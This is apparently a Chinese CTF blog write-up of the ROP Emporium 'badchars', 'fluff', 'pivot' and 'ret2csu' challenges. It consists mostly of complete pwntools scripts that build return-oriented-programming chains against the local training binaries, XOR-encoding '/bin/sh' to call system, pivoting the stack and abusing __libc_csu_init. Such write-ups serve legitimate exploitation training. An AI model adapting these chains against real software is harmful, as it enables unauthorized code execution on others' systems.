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ycdxsb CTF / pwn / stack_overflow / ROP_Emporium11 分钟 读完 (大约 1666 个字)

ROP Emporium (中)

ROP Emporium 第二部分

badchars#

不可以输入一些可见字符，但是存在异或相关的gadget

因此我们可以先和将/bin/sh\x00与某个数异或后写入缓冲区，然后再通过gadget将其异或回来，最后达成利用

x86#

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from pwn import *
'''
 8048890:       30 0b                   xor    %cl,(%ebx)
 8048892:       c3                      ret
 8048893:       89 37                   mov    %esi,(%edi)
 8048895:       c3                      ret
 8048896:       5b                      pop    %ebx
 8048897:       59                      pop    %ecx
 8048898:       c3                      ret
 8048899:       5e                      pop    %esi
 804889a:       5f                      pop    %edi
 804889b:       c3                      ret
 804889c:       66 90                   xchg   %ax,%ax
 804889e:       66 90                   xchg   %ax,%ax
'''
context.log_level = 'debug'
s = '/bin/sh\x00'
xor_byte = 0x31
xor_binsh = ''
for i in range(8):
    xor_binsh += chr(ord(s[i])^xor_byte)
xor_binsh = xor_binsh.encode()
data_addr = 0x804a038
xor_ptr_ebx_cl_ret = 0x8048890
mov_ptr_edi_esi_ret = 0x8048893
pop_ebx_ecx_ret = 0x8048896
pop_esi_edi_ret = 0x8048899

p = process('./badchars32')
elf = ELF('./badchars32')
system_addr = elf.symbols['system']

payload = b'a'*44

# mov xor_binsh into data
payload += p32(pop_esi_edi_ret)+xor_binsh[0:4]+p32(data_addr)+p32(mov_ptr_edi_esi_ret)
payload += p32(pop_esi_edi_ret)+xor_binsh[4:]+p32(data_addr+4)+p32(mov_ptr_edi_esi_ret)

# xor xor_binsh with 0x30
for i in range(8):
    payload += p32(pop_ebx_ecx_ret)+p32(data_addr+i)+p32(xor_byte)+p32(xor_ptr_ebx_cl_ret)

payload += p32(system_addr)+p32(0xdeafbeaf)+p32(data_addr)
p.recvuntil('\n>')
p.sendline(payload)
p.interactive()

x64#

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'''
0000000000400b30 <usefulGadgets>:
  400b30:       45 30 37                xor    %r14b,(%r15)
  400b33:       c3                      retq
  400b34:       4d 89 65 00             mov    %r12,0x0(%r13)
  400b38:       c3                      retq
  400b39:       5f                      pop    %rdi
  400b3a:       c3                      retq
  400b3b:       41 5c                   pop    %r12
  400b3d:       41 5d                   pop    %r13
  400b3f:       c3                      retq
  400b40:       41 5e                   pop    %r14
  400b42:       41 5f                   pop    %r15
  400b44:       c3                      retq
  400b45:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
  400b4c:       00 00 00
  400b4f:       90                      nop
'''

from pwn import *

p = process('./badchars')
elf = ELF('./badchars')
system_addr = elf.symbols['system']
data_addr = 0x601070

xor_ptr_r15_r14_ret = 0x400b30
mov_ptr_r13_r12_ret = 0x400b34
pop_rdi_ret = 0x400b39
pop_r12_r13_ret = 0x400b3b
pop_r14_r15_ret = 0x400b40

binsh = '/bin/sh\x00'
xor_byte = 0x44

xor_binsh = ''
for i in range(8):
    xor_binsh+=chr(ord(binsh[i])^xor_byte)
xor_binsh = xor_binsh.encode()
payload = b'a'*40
# mov xor_binsh into data

payload += p64(pop_r12_r13_ret)+xor_binsh+p64(data_addr)+p64(mov_ptr_r13_r12_ret)

# xor
for i in range(0,8):
    payload += p64(pop_r14_r15_ret)+p64(xor_byte)+p64(data_addr+i)+p64(xor_ptr_r15_r14_ret)

# call system
payload += p64(pop_rdi_ret)+p64(data_addr)+p64(system_addr)

p.recvuntil('>')
p.sendline(payload)
p.interactive()

fluff#

无法一次性写入/bin/sh\x00，所以我们利用gadget可以分次写入

x86#

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'''
08048670 <questionableGadgets>:
 8048670:       5f                      pop    %edi
 8048671:       31 d2                   xor    %edx,%edx
 8048673:       5e                      pop    %esi
 8048674:       bd be ba fe ca          mov    $0xcafebabe,%ebp
 8048679:       c3                      ret
 804867a:       5e                      pop    %esi
 804867b:       31 da                   xor    %ebx,%edx
 804867d:       5d                      pop    %ebp
 804867e:       bf be ba ad de          mov    $0xdeadbabe,%edi
 8048683:       c3                      ret
 8048684:       bf ef be ad de          mov    $0xdeadbeef,%edi
 8048689:       87 ca                   xchg   %ecx,%edx
 804868b:       5d                      pop    %ebp
 804868c:       ba d0 ce fa de          mov    $0xdefaced0,%edx
 8048691:       c3                      ret
 8048692:       5f                      pop    %edi
 8048693:       89 11                   mov    %edx,(%ecx)
 8048695:       5d                      pop    %ebp
 8048696:       5b                      pop    %ebx
 8048697:       30 19                   xor    %bl,(%ecx)
 8048699:       c3                      ret
 804869a:       66 90                   xchg   %ax,%ax
 804869c:       66 90                   xchg   %ax,%ax
 804869e:       66 90                   xchg   %ax,%ax
'''
from pwn import *
context.log_level = 'debug'
p = process('./fluff32')
elf = ELF('./fluff32')
system_addr = elf.symbols['system']
data_addr = 0x804a028
mov_ptr_ecx_edx= 0x8048693
pop_ebx = 0x80483e1
#pop_ebx = 0x8048696
xor_edx_edx = 0x8048671
xor_edx_ebx = 0x804867b
xchg_edx_ecx = 0x8048689
binsh = b'/bin/sh\x00'
def payload_write(data,addr):
    payload = b''

    # ecx = addr
    payload += p32(xor_edx_edx)+p32(deadbeaf)
    payload += p32(pop_ebx)
    payload += p32(addr)
    payload += p32(xor_edx_ebx)+p32(deadbeaf)
    payload += p32(xchg_edx_ecx)+p32(deadbeaf)

    # edx = data
    payload += p32(xor_edx_edx)+p32(deadbeaf)
    payload += p32(pop_ebx)
    payload += data
    payload += p32(xor_edx_ebx)+p32(deadbeaf)

    # ptr[ecx]=data
    payload += p32(mov_ptr_ecx_edx)+p32(deadbeaf)+p32(0)
    return payload

deadbeaf = 0xdeafbeaf
payload = b'a'*44
payload += payload_write(binsh[0:4],data_addr)
payload += payload_write(binsh[4:],data_addr+4)
payload += p32(system_addr)+p32(deadbeaf)+p32(data_addr)
p.recvuntil('>')
p.sendline(payload)
p.interactive()

x64#

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'''
0000000000400820 <questionableGadgets>:
  400820:       41 5f                   pop    %r15
  400822:       4d 31 db                xor    %r11,%r11
  400825:       41 5e                   pop    %r14
  400827:       bf 50 10 60 00          mov    $0x601050,%edi
  40082c:       c3                      retq
  40082d:       41 5e                   pop    %r14
  40082f:       4d 31 e3                xor    %r12,%r11
  400832:       41 5c                   pop    %r12
  400834:       41 bd 60 40 60 00       mov    $0x604060,%r13d
  40083a:       c3                      retq
  40083b:       bf 50 10 60 00          mov    $0x601050,%edi
  400840:       4d 87 d3                xchg   %r10,%r11
  400843:       41 5f                   pop    %r15
  400845:       41 bb 50 20 60 00       mov    $0x602050,%r11d
  40084b:       c3                      retq
  40084c:       41 5f                   pop    %r15
  40084e:       4d 89 1a                mov    %r11,(%r10)
  400851:       41 5d                   pop    %r13
  400853:       41 5c                   pop    %r12
  400855:       45 30 22                xor    %r12b,(%r10)
  400858:       c3                      retq
  400859:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)
'''
from pwn import *
context.log_level = 'debug'
p = process('./fluff')
elf = ELF('./fluff')
system_addr = elf.symbols['system']
data_addr = 0x601050

xor_r11_r11 = 0x400822
xor_r11_r12 = 0x40082f
xchg_r11_r10 = 0x400840
mov_ptr_r10_r11 = 0x40084e
pop_r12 = 0x400832

deadbeaf = 0xdeadbeaf
payload = b'a'*40
binsh = b'/bin/sh\x00'
# r10 = addr
payload += p64(xor_r11_r11)+p64(deadbeaf)
payload += p64(pop_r12)
payload += p64(data_addr)
payload += p64(xor_r11_r12)+p64(deadbeaf)
payload += p64(xchg_r11_r10)+p64(deadbeaf)

# r11 = data
payload += p64(xor_r11_r11)+p64(deadbeaf)
payload += p64(pop_r12)
payload += binsh
payload += p64(xor_r11_r12)+p64(deadbeaf)

# [r10]  =r11
payload += p64(mov_ptr_r10_r11)+p64(deadbeaf)+p64(0)

payload += p64(0x4008c3)+p64(data_addr)+p64(system_addr)

p.recvuntil('>')
p.sendline(payload)
p.interactive()

pivot#

栈溢出长度太短，因此选择通过stack pivoting达成利用

x86#

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from pwn import *
context.log_level = 'debug'
'''
080488c0 <usefulGadgets>:
 80488c0:       58                      pop    %eax
 80488c1:       c3                      ret
 80488c2:       94                      xchg   %eax,%esp
 80488c3:       c3                      ret
 80488c4:       8b 00                   mov    (%eax),%eax
 80488c6:       c3                      ret
 80488c7:       01 d8                   add    %ebx,%eax
 80488c9:       c3                      ret
 80488ca:       66 90                   xchg   %ax,%ax
 80488cc:       66 90                   xchg   %ax,%ax
 80488ce:       66 90                   xchg   %ax,%ax
'''
p = process('./pivot32')
elf = ELF('./pivot32')
libp = ELF('./libpivot32.so')

foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
foothold_function_addr = libp.symbols['foothold_function']
ret2win_addr = libp.symbols['ret2win']
offset = ret2win_addr - foothold_function_addr

pop_eax= 0x80488c0
xchg_esp_eax = 0x80488c2
mov_ptr_eax_eax = 0x80488c4
add_eax_ebx = 0x80488c7
call_eax = 0x80486a3
pop_ebx=0x8048571
leave_ret = 0x80486a8

p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ')
pivot_addr = int(p.recv(10),16)
print(hex(pivot_addr))
payload = b''
payload += p32(foothold_function_plt)
payload += p32(pop_eax)
payload += p32(foothold_function_got)
payload += p32(mov_ptr_eax_eax)
payload += p32(pop_ebx)
payload += p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)

p.sendline(payload)

p.recv()

payload = b'a'*40
payload += p32(pivot_addr-4)
payload += p32(leave_ret)
p.sendline(payload)
p.interactive()

x64#

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from pwn import *
context.log_level = 'debug'
'''
0000000000400ae2 <uselessFunction>:
  400ae2:	55                   	push   %rbp
  400ae3:	48 89 e5             	mov    %rsp,%rbp
  400ae6:	b8 00 00 00 00       	mov    $0x0,%eax
  400aeb:	e8 60 fd ff ff       	callq  400850 <foothold_function@plt>
  400af0:	bf 01 00 00 00       	mov    $0x1,%edi
  400af5:	e8 86 fd ff ff       	callq  400880 <exit@plt>
  400afa:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)

0000000000400b00 <usefulGadgets>:
  400b00:	58                   	pop    %rax
  400b01:	c3                   	retq
  400b02:	48 94                	xchg   %rax,%rsp
  400b04:	c3                   	retq
  400b05:	48 8b 00             	mov    (%rax),%rax
  400b08:	c3                   	retq
  400b09:	48 01 e8             	add    %rbp,%rax
  400b0c:	c3                   	retq
  400b0d:	0f 1f 00             	nopl   (%rax)
'''
p = process('./pivot')
elf = ELF('./pivot')
libp = ELF('./libpivot.so')

foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
foothold_function_addr = libp.symbols['foothold_function']
ret2win_addr = libp.symbols['ret2win']
offset = ret2win_addr - foothold_function_addr

pop_rax= 0x400b00
xchg_rsp_rax = 0x400b02
mov_ptr_rax_rax = 0x400b05
add_rax_rbp = 0x400b09
call_rax = 0x40098e
pop_rbp=0x400900
leave_ret = 0x400ae0

p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ')
pivot_addr = int(p.recv(14),16)
print(hex(pivot_addr))
payload = b''
payload += p64(foothold_function_plt)
payload += p64(pop_rax)
payload += p64(foothold_function_got)
payload += p64(mov_ptr_rax_rax)
payload += p64(pop_rbp)
payload += p64(offset)
payload += p64(add_rax_rbp)
payload += p64(call_rax)

p.sendline(payload)

p.recv()

payload = b'a'*40
payload += p64(pop_rax)
payload += p64(pivot_addr)
payload += p64(xchg_rsp_rax)
p.sendline(payload)
p.interactive()

ret2csu#

ret2csu，原理参考ctf-wiki，中级ROP章节。

但是在pwnme函数中，将GOT表都置零了，所以需要先调用frame_init进行初始化

x64#

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from pwn import *
'''
0xdeadcafebabebeef
'''

'''
  400880:       4c 89 fa                mov    %r15,%rdx
  400883:       4c 89 f6                mov    %r14,%rsi
  400886:       44 89 ef                mov    %r13d,%edi
  400889:       41 ff 14 dc             callq  *(%r12,%rbx,8)
  40088d:       48 83 c3 01             add    $0x1,%rbx
  400891:       48 39 dd                cmp    %rbx,%rbp
  400894:       75 ea                   jne    400880 <__libc_csu_init+0x40>
  400896:       48 83 c4 08             add    $0x8,%rsp
  40089a:       5b                      pop    %rbx
  40089b:       5d                      pop    %rbp
  40089c:       41 5c                   pop    %r12
  40089e:       41 5d                   pop    %r13
  4008a0:       41 5e                   pop    %r14
  4008a2:       41 5f                   pop    %r15
  4008a4:       c3                      retq
'''

p = process('./ret2csu')

rdx=0xdeadcafebabebeef

init = 0x600E10
csu_1 = 0x400880
csu_2 = 0x40089a
ret2win = 0x4007B1

payload = 0x20*b'a'
payload += p64(0)  #rbp
payload += p64(csu_2)
payload += p64(0)   #rbx
payload += p64(1)   #rbp
payload += p64(init)   #r12
payload += p64(0)   #r13
payload += p64(0)   #r14
payload += p64(rdx)   #r15
payload += p64(csu_1)
payload += p64(0)   #add rsp,8
payload += p64(0)   #rbx
payload += p64(0)   #rbp
payload += p64(0)   #r12
payload += p64(0)   #r13
payload += p64(0)   #r14
payload += p64(0)   #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()
#

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